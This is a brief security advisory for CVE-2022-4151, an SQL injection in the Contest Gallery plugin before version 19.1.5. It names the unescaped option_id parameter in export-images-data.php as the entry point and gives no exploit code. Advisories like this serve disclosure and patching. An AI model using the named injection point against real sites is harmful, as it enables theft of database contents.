Contest Gallery < 19.1.5 – Admin+ SQL Injection | CVE 2022-4151

Description

The plugins do not escape the option_id GET parameter before concatenating it to an SQL query in export-images-data.php. This may allow malicious users with at least author privilege to leak sensitive information from the site's database.
